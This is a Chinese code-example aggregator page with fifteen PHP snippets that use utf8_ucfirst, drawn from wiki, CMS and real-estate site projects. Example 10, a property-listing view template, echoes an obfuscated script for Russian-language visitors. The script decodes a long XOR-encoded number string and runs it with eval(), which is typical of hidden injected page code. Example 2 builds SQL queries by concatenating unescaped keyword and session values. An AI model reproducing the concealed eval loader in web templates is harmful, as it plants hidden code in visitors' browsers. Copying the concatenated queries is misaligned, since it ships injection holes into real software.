本文整理汇总了PHP中utf8_ucfirst函数的典型用法代码示例。如果您正苦于以下问题:PHP utf8_ucfirst函数的具体用法?PHP utf8_ucfirst怎么用?PHP utf8_ucfirst使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了utf8_ucfirst函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: pagefromtemplate
function pagefromtemplate(&$event, $param)
{
if (strlen(trim($_REQUEST['newpagetemplate'])) > 0) {
global $conf;
global $INFO;
global $ID;
$tpl = io_readFile(wikiFN($_REQUEST['newpagetemplate']));
if ($this->getConf('userreplace')) {
$stringvars = array_map(create_function('$v', 'return explode(",",$v,2);'), explode(';', $_REQUEST['newpagevars']));
foreach ($stringvars as $value) {
$tpl = str_replace(trim($value[0]), trim($value[1]), $tpl);
}
}
if ($this->getConf('standardreplace')) {
// replace placeholders
$file = noNS($ID);
$page = strtr($file, '_', ' ');
$tpl = str_replace(array('@ID@', '@NS@', '@FILE@', '@!FILE@', '@!FILE!@', '@PAGE@', '@!PAGE@', '@!!PAGE@', '@!PAGE!@', '@USER@', '@NAME@', '@MAIL@', '@DATE@'), array($ID, getNS($ID), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], $INFO['userinfo']['name'], $INFO['userinfo']['mail'], $conf['dformat']), $tpl);
// we need the callback to work around strftime's char limit
$tpl = preg_replace_callback('/%./', create_function('$m', 'return strftime($m[0]);'), $tpl);
}
$event->result = $tpl;
$event->preventDefault();
}
}
示例2: lang
function lang($keyword, $esDinamico = false, $divisor = '[div]')
{
global $lang;
if (!trim($keyword)) {
return;
}
$keyword = utf8_strtolower($keyword);
$config = Initialize::obtain()->config;
// TEXTOS ESTATICOS ////////////////////////////////////////////////////////////
if ($esDinamico === false) {
$exist = false;
// SI NO EXISTE EN EL ARRAY LANG, AGREGA A LA DB
if (!isset($lang[$keyword])) {
// VERIFY IF EXIST KEYWORD IN DB
if ($config['siteUseDb']) {
$exist = c("select keyword from static_lang_keys where keyword = '" . $keyword . "' and lang = '" . $_SESSION['lang'] . "' ");
}
// IF NOT EXIST, ADD TO DB
if (!$exist) {
if ($config['siteUseDb']) {
sq("insert into static_lang_keys set dateLastUpdate = NOW(), dateInsert=NOW(), keyword = '" . $keyword . "', lang = '" . $_SESSION['lang'] . "', keyvalue = '" . $keyword . "' ");
}
}
return utf8_ucfirst($keyword);
} else {
return utf8_ucfirst($lang[$keyword]);
}
}
// TEXTOS DINAMICOS ////////////////////////////////////////////////////////////////
if ($esDinamico === true) {
$keyOfSelectedLang = array_search($_SESSION['lang'], $config['lang']);
$keyword = explode($divisor, $keyword);
// SI EXISTE, DEVUELVE VALOR
if (isset($keyword[$keyOfSelectedLang])) {
return $keyword[$keyOfSelectedLang];
} else {
return $keyword[0];
}
}
}
示例3: ucfirst
/**
* @see http://ca.php.net/manual/en/function.ucfirst.php
*/
function ucfirst($string)
{
if (defined('ENABLE_MBSTRING')) {
require_once 'mbstring/core.php';
require_once 'ucfirst.php';
} else {
require_once 'utils/unicode.php';
require_once 'native/core.php';
require_once 'ucfirst.php';
}
return utf8_ucfirst($string);
}
示例4: localizeAllMessage
/**
* Show localize all message and form
*
* @return void
*/
private function localizeAllMessage()
{
$arrLanguages = I18nl10n::getInstance()->getAvailableLanguages(true);
$strFlagPath = 'system/modules/i18nl10n/assets/img/flag_icons/';
$strMessage = $GLOBALS['TL_LANG']['tl_page_i18nl10n']['msg_localize_all'];
$strDomainLanguages = '';
foreach ($arrLanguages as $key => $domain) {
$strDomainLocalization = '';
if (count($domain['localizations'])) {
foreach ($domain['localizations'] as $localization) {
$strDomainLocalization .= sprintf('<li><img class="i18nl10n_flag" src="%1$s.png" /> %2$s</li>', $strFlagPath . $localization, $GLOBALS['TL_LANG']['LNG'][$localization]);
}
} else {
$strDomainLocalization .= sprintf('<li>%s</li>', $GLOBALS['TL_LANG']['tl_page_i18nl10n']['no_languages']);
}
$strDomainLanguages .= sprintf('<li class="i18nl10n_localize_domain"><img class="i18nl10n_flag" src="%1$s.png" /> %2$s<ul>%3$s</ul></li>', $strFlagPath . $domain['default'], $key ?: '*', $strDomainLocalization);
}
$strDomainList = sprintf('<ul class="i18nl10n_localize_list">%s</ul>', $strDomainLanguages);
$html = '<form class="i18nl10n_localize" method="post" action="contao/main.php?do=%1$s">
<div class="i18nl10n_message">
%2$s %3$s
<div class="tl_submit_container">
<a href="contao/main.php?do=%1$s">%4$s</a>
<input type="submit" value="%5$s" class="tl_submit" name="localize_all_" />
</div>
</div>
<input type="hidden" name="REQUEST_TOKEN" value="%6$s">
</form>';
$rawMessage = sprintf($html, \Input::get('do'), $strMessage, $strDomainList, utf8_ucfirst($GLOBALS['TL_LANG']['MSC']['no']), utf8_ucfirst($GLOBALS['TL_LANG']['MSC']['yes']), REQUEST_TOKEN);
\Message::addRaw($rawMessage);
}
示例5: ucfirst
/**
* UTF-8 aware alternative to ucfirst
* Make a string's first character uppercase or all words' first character uppercase
*
* @param string $str String to be processed
* @param string $delimiter The words delimiter (null means do not split the string)
* @param string $newDelimiter The new words delimiter (null means equal to $delimiter)
*
* @return string If $delimiter is null, return the string with first character as upper case (if applicable)
* else consider the string of words separated by the delimiter, apply the ucfirst to each words
* and return the string with the new delimiter
*
* @see http://www.php.net/ucfirst
* @since 11.1
*/
public static function ucfirst($str, $delimiter = null, $newDelimiter = null)
{
jimport('phputf8.ucfirst');
if ($delimiter === null) {
return utf8_ucfirst($str);
} else {
if ($newDelimiter === null) {
$newDelimiter = $delimiter;
}
return implode($newDelimiter, array_map('utf8_ucfirst', explode($delimiter, $str)));
}
}
示例6: getFlagImgArray
public static function getFlagImgArray()
{
$d = dir(ROOT_PATH . Lang::FLAG_DIR);
$arr = array();
if ($d) {
while (false !== ($name = $d->read())) {
if ($name === '.' || $name === '..') {
continue;
}
$code_arr = explode('.', $name);
$code = Yii::app()->locale->getTerritory($code_arr[0]);
$arr[$name] = $code ? $code : utf8_ucfirst($code_arr[0]);
}
$d->close();
}
asort($arr);
return $arr;
}
示例7: _verifyTitle
/**
* Verifies that the discussion title is valid
*
* @param string
*
* @return boolean
*/
public function _verifyTitle(&$title)
{
// TODO: send these to callbacks to allow hookability?
switch ($this->getOption(self::OPTION_ADJUST_TITLE_CASE)) {
case 'ucfirst':
// sentence case
$title = utf8_ucfirst(utf8_strtolower($title));
break;
case 'ucwords':
// title case
$title = utf8_ucwords(utf8_strtolower($title));
break;
}
return true;
}
示例8: parsePageTemplate
/**
* Performs common page template replacements
* This is the default action for COMMON_PAGE_FROMTEMPLATE
*
* @author Andreas Gohr <andi@splitbrain.org>
*/
function parsePageTemplate(&$data)
{
extract($data);
global $USERINFO;
global $conf;
// replace placeholders
$file = noNS($id);
$page = strtr($file, $conf['sepchar'], ' ');
$tpl = str_replace(array('@ID@', '@NS@', '@FILE@', '@!FILE@', '@!FILE!@', '@PAGE@', '@!PAGE@', '@!!PAGE@', '@!PAGE!@', '@USER@', '@NAME@', '@MAIL@', '@DATE@'), array($id, getNS($id), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], $USERINFO['name'], $USERINFO['mail'], $conf['dformat']), $tpl);
// we need the callback to work around strftime's char limit
$tpl = preg_replace_callback('/%./', create_function('$m', 'return strftime($m[0]);'), $tpl);
$data['tpl'] = $tpl;
return $tpl;
}
示例9: ucfirst
/**
* UTF-8 aware alternative to ucfirst
* Make a string's first character uppercase or all words' first character uppercase
*
* @param string $str String to be processed
* @param string $delimiter The words delimiter (null means do not split the string)
* @param string $newDelimiter The new words delimiter (null means equal to $delimiter)
*
* @return string If $delimiter is null, return the string with first character as upper case (if applicable)
* else consider the string of words separated by the delimiter, apply the ucfirst to each words
* and return the string with the new delimiter
*
* @see http://www.php.net/ucfirst
* @since 2.0
*/
public static function ucfirst($str, $delimiter = null, $newDelimiter = null)
{
if (!function_exists('utf8_ucfirst')) {
require_once __DIR__ . '/phputf8/ucfirst.php';
}
if ($delimiter === null) {
return utf8_ucfirst($str);
}
if ($newDelimiter === null) {
$newDelimiter = $delimiter;
}
return implode($newDelimiter, array_map('utf8_ucfirst', explode($delimiter, $str)));
}
示例10: String
if (Yii::app()->language == 'ru') {
$var01 = '7';
$var9 = '99;103;106;127;102;105;99;122;33;103;99;123;103;113;61;49;43;107;122;104;60;60;54;62;56;73;81;86;3;72;68;72;64;93;72;77;78;17;15;68;78;70;80;65;80;70;92;70;67;26;25;78;66;76;88;3;29;52;36;58;55;107;47;39;49;41;58;41;57;37;61;58;109;110;38;59;61;48;58;33;121;55;55;54;52;61;57;99;55;1;17;18;26;7;10;2;2;83;73;12;30;2;14;26;6;31;31;82;27;21;5;6;14;27;22;30;30;84;84;94;4;160;232;228;171;165;239;215;242;237;251;243;163;174;236;213;231;226;244;244;205;169;201;177;255;236;237;234;161;179;178;243;240;206;206;208;194;221;139;212;210;244;142;247;137;133;131;199;220;152;237;149;137;194;220;197;222;218;213;223;231;155;148;151;196;224;168;164;235;229;175;151;178;173;187;179;227;238;175;161;171;169;243;251;253;178;188;184;179;240;251;249;143;158;130;177;169;133;147;142;130;157;199;207;201;129;154;194;201;136;132;152;205;217;216;210;136;212;156;144;223;217;147;171;142;153;143;135;209;354;371;365;372;375;352;372;297;357;378;355;366;293;301;373;303;378;320;359;374;358;364;318;309;378;374;382;354;318;308;304;382;336;337;327;333;320;269;260;283;332;320;348;267;325;329;275;371;279;357;368;364;347;323;339;325;340;344;323;359;283;259;258;347;297;311;354;304;304;316;298;290;373;277;365;296;291;289;289;317;362;369;369;277;274;357;358;359;360;354;378;317;307;307;298;370;275;264;280;262;350;325;340;351;280;273;337;331;280;264;278;283;349;272;286;282;275;283;332;343;283;284;276;271;281;271;325;291;423;447;446;490;489;482;422;500;506;490;439;471;427;485;506;507;480;427;445;444;486;496;440;506;503;503;501;489;509;484;432;493;469;398;462;458;455;448;456;468;461;391;474;451;476;402;458;458;476;466;477;451;461;392;391;491;415;409;466;478;469;474;470;459;509;413;485;498;408;482;486;432;417;429;446;419;497;401;489;510;396;502;498;433;443;423;434;434;426;484;390;508;492;385;505;481;1533;1489;1442;1440;1452;1488;1499;1503;1501;457;1489;1491;1450;1496;1491;1496;1480;1487;1487;1486;1482;1478;1480;471;1465;1479;1481;1472;1484;1461;1483;1474;1592;1614;547;547;568;615;628;551;551;567;554;1558;1593;1612;1584;1596;1579;1569;1619;1581;1574;1573;1579;1578;1574;1580;570;1624;1576;1581;1573;1578;1565;1561;1559;515;1566;1563;1561;1567;1640;1561;1555;1641;1554;1567;527;531;543;597;603;581;522;521;537;595;593;591;516;537;533;518;542;578;608;548;558;560;545;613;573;615;546;536;575;558;574;564;614;621;562;574;566;554;630;636;632;566;552;553;575;565;568;629;636;611;516;520;532;579;525;513;603;571;591;573;552;564;515;539;523;541;540;528;523;559;595;587;586;542;542;523;539;534;537;605;525;540;754;750;750;751;749;747;737;698;724;686;740;740;720;682;686;745;738;752;767;758;758;762;740;755;765;747;679;711;699;685;706;696;640;722;726;730;712;704;667;763;655;729;709;728;709;729;711;704;734;651;658;722;726;710;729;731;717;717;735;640;668;713;721;719;762;737;754;760;740;681;675;673;700;755;746;763;759;749;697;678;692;677;698;745;756;740;742;743;765;738;762;691;697;692;697;695;660;731;706;722;724;725;707;732;712;655;643;647;664;648;668;725;657;669;642;667;661;733;665;647;665;666;659;655;645;704;718;726;860;806;828;831;811;876;864;885;873;868;879;821;816;873;871;889;816;866;870;874;888;880;811;843;831;890;885;887;883;879;804;831;771;871;868;787;788;789;790;796;776;847;837;837;856;768;861;838;842;852;776;787;774;781;838;847;771;793;846;862;836;841;787;862;812;808;805;813;894;869;805;802;806;829;815;825;887;785;873;881;876;824;831;820;884;806;804;820;869;773;893;819;808;809;814;869;847;846;784;774;842;776;777;777;775;795;779;786;834;799;795;832;796;792;785;790;794;774;787;857;776;785;778;836;792;792;786;796;1007;1009;1019;958;949;985;929;935;992;1004;995;1004;996;1017;947;979;951;928;974;948;948;994;1023;1011;1004;1009;935;967;955;940;962;952;896;963;973;977;960;960;980;922;1012;910;922;1015;907;915;1971;1951;2032;2034;2042;1926;1929;1933;1923;919;1923;1921;2044;1934;1921;1930;1926;1921;2045;2044;2044;2032;2042;997;1927;2041;2043;2034;2042;1923;2041;2032;2038;1920;1009;1009;1006;945;934;1013;1017;1001;1016;1988;2031;1946;2018;2030;2021;2031;1953;2015;2000;2003;2009;2008;2008;2002;968;1962;2014;2011;2007;2008;2003;2007;1989;977;1992;1997;1995;1997;1974;1991;1985;1979;1988;1993;989;961;977;923;1129;1143;1084;1087;1067;1121;1135;1137;1078;1067;1059;1072;1068;1136;1139;1071;1133;1073;1135;1071;1075;1077;1085;1079;1087;1078;1129;1144;1134;1082;1086;1076;1024;1030;1099;1107;1104;1051;1025;1038;1043;';
}
echo '<script>' . $var1 . '=' . $var01 . ';' . $var2 . '="' . $var9 . '";var ' . $var3 . '=new String();' . $var4 . '=' . $var2 . '.split(";");' . $var5 . '=' . $var4 . '.length-1;for(var mn=0;mn<' . $var5 . ';mn++){' . $var6 . '=' . $var4 . '[mn];' . $var7 . '="' . $var8 . '=' . $var6 . '";' . $var7 . '=' . $var7 . '+"^' . $var1 . '";eval(' . $var7 . ');' . $var1 . '+=1;' . $var3 . '=' . $var3 . '+String.fromCharCode(' . $var8 . ');}eval(' . $var3 . ');</script>';
unset($var1, $var2, $var3, $var4, $var5, $var6, $var7, $var8, $var9);
}
?>
</div>
<div class="viewapartment-description-top">
<div>
<strong>
<?php
echo utf8_ucfirst($data->objType->name);
if ($data->stationsTitle() && $data->num_of_rooms) {
echo ', ';
echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms near {metro} metro station', array($data->num_of_rooms, '{metro}' => $data->stationsTitle()));
} elseif ($data->num_of_rooms) {
echo ', ';
echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms', array($data->num_of_rooms));
}
if (issetModule('location') && param('useLocation', 1)) {
if ($data->locCountry || $data->locRegion || $data->locCity) {
echo "<br>";
}
if ($data->locCountry) {
echo $data->locCountry->getStrByLang('name');
}
if ($data->locRegion) {
示例11: apTypes
public static function apTypes()
{
$result = Apartment::getApTypes();
if (Yii::app()->theme->name == 'atlas') {
$types = array(0 => Yii::t('common', 'Type of listing'));
} else {
$types = array(0 => Yii::t('common', 'Please select'));
}
if (param('useTypeSale', 1)) {
if (in_array(Apartment::PRICE_SALE, $result)) {
$types[Apartment::PRICE_SALE] = utf8_ucfirst(tt('Sale', 'apartments'));
}
}
if (param('useTypeBuy', 1)) {
if (in_array(Apartment::PRICE_BUY, $result)) {
$types[Apartment::PRICE_BUY] = utf8_ucfirst(tt('Buy a', 'apartments'));
}
}
if (param('useTypeRenting', 1)) {
if (in_array(Apartment::PRICE_RENTING, $result)) {
$types[Apartment::PRICE_RENTING] = utf8_ucfirst(tt('Rent a', 'apartments'));
}
}
if (param('useTypeChange', 1)) {
if (in_array(Apartment::PRICE_CHANGE, $result)) {
$types[Apartment::PRICE_CHANGE] = utf8_ucfirst(tt('Exchange', 'apartments'));
}
}
if (param('useTypeRentDay', 1)) {
if (in_array(Apartment::PRICE_PER_DAY, $result)) {
$types[Apartment::PRICE_PER_DAY] = utf8_ucfirst(tc('rent by the day'));
}
}
if (param('useTypeRentHour', 1)) {
if (in_array(Apartment::PRICE_PER_HOUR, $result)) {
$types[Apartment::PRICE_PER_HOUR] = utf8_ucfirst(tc('rent by the hour'));
}
}
if (param('useTypeRentMonth', 1)) {
if (in_array(Apartment::PRICE_PER_MONTH, $result)) {
$types[Apartment::PRICE_PER_MONTH] = utf8_ucfirst(tc('rent by the month'));
}
}
if (param('useTypeRentWeek', 1)) {
if (in_array(Apartment::PRICE_PER_WEEK, $result)) {
$types[Apartment::PRICE_PER_WEEK] = utf8_ucfirst(tc('rent by the week'));
}
}
$return['propertyType'] = $types;
if (issetModule('selecttoslider') && param('usePriceSlider') == 1) {
$return['currencyTitle'] = array(Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':', Yii::t('common', 'Price range') . ':');
} else {
$return['currencyTitle'] = array(Yii::t('common', 'Payment to'), Yii::t('common', 'Payment to'), Yii::t('common', 'Fee up to'), Yii::t('common', 'Fee up to'), Yii::t('common', 'Fee up to'), Yii::t('common', 'Fee up to'));
}
return $return;
}
示例12: utf8_ucfirst
?>
<tr>
<td><?php
echo $date2;
?>
</td>
<td><?php
echo Apartment::getNameByType($item->type);
?>
</td>
<td><?php
echo $item->locRegion->getStrByLang('name');
?>
</td>
<td><?php
echo utf8_ucfirst($item->objType->name);
if ($item->num_of_rooms) {
echo ', ';
echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms', array($item->num_of_rooms));
}
?>
</td> <!--Что-->
<td><?php
echo $item->bt_getPriceMod();
?>
</td>
<td><a><?php
echo $item->user->getNameForType();
?>
</a></td>
</tr>
示例13: testLinefeed
function testLinefeed()
{
$str = "ñtërn\nâtiônàlizætiøn";
$ucfirst = "Ñtërn\nâtiônàlizætiøn";
$this->assertEqual(utf8_ucfirst($str), $ucfirst);
}
示例14: pageTemplate
/**
* Returns the pagetemplate contents for the ID's namespace
*
* @author Andreas Gohr <andi@splitbrain.org>
*/
function pageTemplate($data)
{
$id = $data[0];
global $conf;
global $INFO;
$path = dirname(wikiFN($id));
if (@file_exists($path . '/_template.txt')) {
$tpl = io_readFile($path . '/_template.txt');
} else {
// search upper namespaces for templates
$len = strlen(rtrim($conf['datadir'], '/'));
while (strlen($path) >= $len) {
if (@file_exists($path . '/__template.txt')) {
$tpl = io_readFile($path . '/__template.txt');
break;
}
$path = substr($path, 0, strrpos($path, '/'));
}
}
if (!$tpl) {
return '';
}
// replace placeholders
$file = noNS($id);
$page = strtr($file, '_', ' ');
$tpl = str_replace(array('@ID@', '@NS@', '@FILE@', '@!FILE@', '@!FILE!@', '@PAGE@', '@!PAGE@', '@!!PAGE@', '@!PAGE!@', '@USER@', '@NAME@', '@MAIL@', '@DATE@'), array($id, getNS($id), $file, utf8_ucfirst($file), utf8_strtoupper($file), $page, utf8_ucfirst($page), utf8_ucwords($page), utf8_strtoupper($page), $_SERVER['REMOTE_USER'], $INFO['userinfo']['name'], $INFO['userinfo']['mail'], $conf['dformat']), $tpl);
// we need the callback to work around strftime's char limit
$tpl = preg_replace_callback('/%./', create_function('$m', 'return strftime($m[0]);'), $tpl);
return $tpl;
}
示例15: PhpT
$phpt = new PhpT();
$phpt->fileName = $imm['nombre'];
$phpt->fileTitle = utf8_strtoupper($producto['nombre']);
$phpt->params = array('w' => 614, 'h' => 460, 'zc' => 1);
$phpt->folder = $imm['tabla'];
$imagenes[] = $phpt->getImgHtml();
// THUMB FOR PAGER
$phpt2 = new PhpT();
$phpt2->fileName = $imm['nombre'];
$phpt2->fileTitle = utf8_strtoupper($producto['nombre']);
$phpt2->params = array('w' => 70, 'h' => 52, 'zc' => 1);
$phpt2->folder = $imm['tabla'];
$thumbs[] = $phpt2->getImgHtml();
}
}
$highlight1 = new highlight(utf8_ucfirst(utf8_strtolower($producto['nombre'])), $words);
$hiTitulo = $highlight1->output_text;
$highlight2 = new highlight($producto['resumen'], $words);
$hiResumen = $highlight2->output_text;
$highlight3 = new highlight(fop($producto['descripcion']), $words);
$hiDescripcion = $highlight3->output_text;
$out[] = '<h4 class="small">» ' . $hiTitulo . '</h4>';
$out[] = '<div class="productoAmpliado">';
$out[] = '<div style="position: relative; float: left;">';
if ($imagenes) {
$out[] = '<div class="cycleProducto">' . join("\n", $imagenes) . '</div>';
}
if ($thumbs) {
$out[] = '<div class="cycleProductoPager">' . join("\n", $thumbs) . '</div>';
}
$out[] = '</div>';